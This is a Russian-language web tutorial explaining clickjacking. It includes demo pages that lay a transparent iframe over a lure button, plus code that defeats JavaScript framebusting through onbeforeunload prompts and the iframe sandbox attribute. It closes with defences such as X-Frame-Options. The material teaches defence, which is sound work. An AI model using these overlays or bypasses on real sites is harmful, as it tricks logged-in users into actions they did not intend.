Атака Clickjacking и защита от неё

Атака «кликджекинг» (англ. Clickjacking) позволяет хакеру выполнить клик на сайте-жертве от имени посетителя.

В русском языке встречается дословный перевод термина clickjacking: «угон клика». Так же применительно к clickjacking-атаке можно встретить термины «перекрытие iframe» и «подмена пользовательского интерфейса».

Кликджекингу подверглись в своё время Twitter, Facebook , PayPal, YouTube и многие другие сайты. Сейчас, конечно, они уже защищены.

Идея атаки

В целом идея очень проста.

Вот как выглядел «угон клика» пользователя, который зарегистрирован на Facebook:

  1. На вредоносной странице пользователю подсовывается безобидная ссылка (скажем, что-то скачать, «разбогатеть сейчас», посмотреть ролик или просто перейти по ссылке на интересный ресурс).
  2. Поверх этой заманчивой ссылки помещен прозрачный iframe со страницей facebook.com, так что кнопка «Like» находится чётко над ней.
  3. Кликая на ссылку, посетитель на самом деле нажимает на эту кнопку.

Демо

Вот пример вредоносной страницы (для наглядности iframe – полупрозрачный):

<style>
iframe { /* iframe с сайта-жертвы */
  width: 400px;
  height: 100px;
  position: absolute;
  top:0; left:-20px;
  opacity: 0.5; /* в реальности opacity:0 */
  z-index: 1;
}
</style>

<div>Нажмите, чтобы разбогатеть сейчас:</div>

<!-- URL в реальности - с другого домена (атакуемого сайта) -->
<iframe src="facebook.html"></iframe>

<button>Жми тут!</button>

<div>..И всё получится (хе-хе, у меня, злого хакера, получится)!</div>

В действии:

Результат
facebook.html
index.html
<!DOCTYPE HTML>
<html>

<body style="margin:10px;padding:10px">

  <input type="button" onclick="alert('Нажата кнопка Like с другого домена!')" value="I LIKE IT !">

</body>

</html>
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <style>
    iframe {
      /* iframe с сайта-жертвы */

      width: 400px;
      height: 100px;
      position: absolute;
      top: 0;
      left: -20px;
      opacity: 0.5;
      z-index: 1;
    }
  </style>

  <div>Нажмите, чтобы разбогатеть сейчас:</div>

  <!-- URL, в реальности - с другого домена (атакуемого сайта) -->
  <iframe src="facebook.html"></iframe>

  <button>Жми тут!</button>

  <div>..И всё получится (хе-хе, у меня, злого хакера, получится)!</div>

</body>

</html>

Так как <iframe src="facebook.html"> полупрозрачный, то в примере выше легко видеть, как он перекрывает кнопку. При клике на «Жми тут» на самом деле происходит клик на <iframe> (на «Like»).

В итоге, если посетитель авторизован на facebook (а в большинстве случаев так и есть), то facebook.com получает щелчок от имени посетителя.

На Twitter это была бы кнопка «Follow».

Тот же самый пример, но ближе к реальности, с opacity:0 для <iframe>. Вообще незаметно, что на самом деле посетитель кликает на <iframe>:

Результат
facebook.html
index.html
<!DOCTYPE HTML>
<html>

<body style="margin:10px;padding:10px">

  <input type="button" onclick="alert('Нажата кнопка Like с другого домена!')" value="I LIKE IT !">

</body>

</html>
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <style>
    iframe {
      /* iframe с сайта-жертвы */

      width: 400px;
      height: 100px;
      position: absolute;
      top: 0;
      left: -20px;
      opacity: 0;
      z-index: 1;
    }
  </style>

  <div>Нажмите, чтобы разбогатеть сейчас:</div>

  <!-- URL, в реальности - с другого домена (атакуемого сайта) -->
  <iframe src="facebook.html"></iframe>

  <button>Жми тут!</button>

  <div>..И всё получится (хе-хе, у меня, злого хакера, получится)!</div>

</body>

</html>

Итак, все, что нужно для проведения атаки – это правильно расположить iframe на вредоносной странице, так чтобы кнопка с Facebook оказалась над «Жми тут!». В большинстве случаев это возможно и делается обычным CSS-позиционированием.

С клавиатурой так не сделаешь

Атака называется «Clickjacking», то есть «угон клика», так как события клавиатуры «угнать» гораздо труднее. Посетителя можно заставить сфокусироваться на <input> прозрачного <iframe> с сайтом-жертвой, но этот <input> невидим, а значит текст в нём также будет невидимым. Посетитель начнёт печатать, но, не увидев текст, прекратит свои действия.

Плохая защита

Самый старый метод защиты – это код JavaScript, не позволяющий отобразить веб-страницу внутри фрейма («framebusting», также его называют «framekilling» и «framebreaking»).

Примерно такой:

if (top != window) {
  top.location = window.location;
}

То есть, если окно обнаруживает, что оно загружено во фрейме, то оно автоматически делает себя верхним.

Увы, в настоящий момент это уже не является сколько-нибудь надежной защитой. Есть несколько способов обхода framebusting. Давайте рассмотрим некоторые из них.

Блокировка top-навигации.

Можно заблокировать переход, инициированный сменой top.location, в событии onbeforeunload.

Обработчик этого события ставится на внешней (хакерской) странице и, при попытке iframe поменять top.location, спросит посетителя, хочет он покинуть данную страницу. В большинстве браузеров хакер может спросить посетителя, используя своё сообщение.

window.onbeforeunload = function() {
  window.onbeforeunload = null;
  return "Хотите уйти с этой страницы, не узнав все её тайны (хе-хе)?";
}

Так что, скорее всего, посетитель ответит на такой странный вопрос отрицательно (он же не знает про ифрейм, видит только страницу, причины для ухода нет). А значит, ожидаемая смена top.location не произойдёт!

Пример в действии:

Результат
iframe.html
index.html
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">
</head>

<body>

  <div>Меняет top.location на javascript.ru</div>

  <script>
    top.location = 'http://javascript.ru';
  </script>

</body>

</html>
<!doctype html>
<html>

<head>
  <meta charset="UTF-8">

  <style>
    iframe {
      /* iframe с сайта-жертвы */

      width: 400px;
      height: 100px;
      position: absolute;
      top: 0;
      left: -20px;
      opacity: 0;
      z-index: 1;
    }
  </style>

  <script>
    function attack() {

      window.onbeforeunload = function() {
        window.onbeforeunload = null;
        return "Хотите уйти с этой страницы, не узнав все её тайны (хе-хе)?";
      };

      document.body.insertAdjacentHTML('beforeend', '<iframe src="iframe.html">');
    }
  </script>
</head>

<body>

  <p>При нажатии на кнопку посетитель получит "странный" вопрос о том, не хочет ли уйти со страницы.</p>

  <p>Наверно, он ответит "хочу остаться" и защита ифрейма будет провалена.</p>

  <button onclick="attack()">Подключить "защищённый" iframe</button>

</body>

</html>

Атрибут sandbox

Современные браузеры поддерживают атрибут sandbox

Он позволяет разрешить во фрейме скрипты allow-scripts и формы allow-forms, но запретить top-навигацию (не указать allow-top-navigation).

«Защищённый» <iframe> хакер может подключить, к примеру, так:

<iframe sandbox="allow-scripts allow-forms" src="facebook.html"></iframe>

Есть и другие приёмы для обхода этой простейшей защиты.

Firefox и старый IE могут активировать designMode на исходной странице, это также предотвращает framebusting, у IE есть нестандартный атрибут security для ифреймов, который можно использовать с той же целью.

Как мы видим, эта защита не только не выдерживает реальной атаки, но и может скомпрометировать сайт (программист-то думает, что защитил его).

Заголовок X-Frame-Options

Все современные браузеры поддерживают заголовок X-Frame-Options.

Он разрешает или запрещает отображение страницы, если она открыта во фрейме.

Браузеры игнорируют заголовок, если он определен в МЕТА теге. Таким образом, <meta http-equiv="X-Frame-Options"...> будет проигнорирован.

У заголовка может быть три значения:

SAMEORIGIN
Рендеринг документа, при открытии во фрейме, производится только в том случае, когда верхний (top) документ – с того же домена.
DENY
Рендеринг документа внутри фрейма запрещён.
ALLOW-FROM domain
Разрешает рендеринг, если внешний документ с данного домена (не поддерживается в Safari, Firefox).

К примеру, Twitter использует X-Frame-Options: SAMEORIGIN. Результат:

<iframe src="https://twitter.com"></iframe>

В зависимости от браузера, iframe выше либо пустой, либо в нём находится сообщение о невозможности отобразить его (IE).

Показ с отключённым функционалом

Заголовок X-Frame-Options имеет неприятный побочный эффект. Иногда поисковики, анонимайзеры или другие сайты хотели бы отобразить страницу в iframe, по вполне «легальным» причинам, но не могут.

Хорошо бы показывать их посетителям не пустой iframe, а нечто, что может быть более интересно.

Например, можно изначально «накрывать» документ div с height:100%;width:100%, который будет перехватывать все клики. И поставить на нём ссылку, ведующую на страницу в новом окне.

<style>
  #iframe-protector {
    height: 100%;
    width: 100%;
    position: absolute;
    left: 0;
    top: 0;
    z-index: 99999999;
  }
</style>

<div id="iframe-protector">
  <a href="/" target="_blank">Перейти на сайт</a>
</div>

<script>
  if (top.document.domain == document.domain) {
    убрать iframe - protector
  }
</script>

Если страница – не во фрейме или домен совпадает, то посетитель не увидит его.

Заключение

Атаку «Clickjacking» легко осуществить, если на сайте есть действие, активируемое с помощью одного клика.

Злоумышленник может осуществить атаку целенаправленно на посетителей ресурса – опубликовав ссылку на форуме, или «счастливой рассылкой». Существует масса вариантов.

С первого взгляда, она «неглубокая»: всё, что можно сделать – это один клик. С другой стороны, если хакер знает, что после клика появляется какой-то другой управляющий элемент, то он, хитрыми сообщениями, может заставить посетителя кликнуть и по нему. А это уже не один, а два клика.

Атака особенно опасна, поскольку, проектируя интерфейс сайта, обычно никто и не задумывается о том, что клик от имени юзера может сделать хакер. Точки уязвимости могут быть в совершенно непредсказуемых местах.

  • Рекомендуется использовать X-Frame-Options на страницах, заведомо не предназначеных для запуска во фрейме и на важнейших страницах (финансовые транзакции).
  • Используйте перекрывающий <div>, если это допустимо вашим проектом и вы хотите разрешить безопасный показ документа во фреймах с любых доменов.
Карта учебника

Комментарии

перед тем как писать…
  • Приветствуются комментарии, содержащие дополнения и вопросы по статье, и ответы на них.
  • Для одной строки кода используйте тег <code>, для нескольких строк кода — тег <pre>, если больше 10 строк — ссылку на песочницу (plnkr, JSBin, codepen…)
  • Если что-то непонятно в статье — пишите, что именно и с какого места.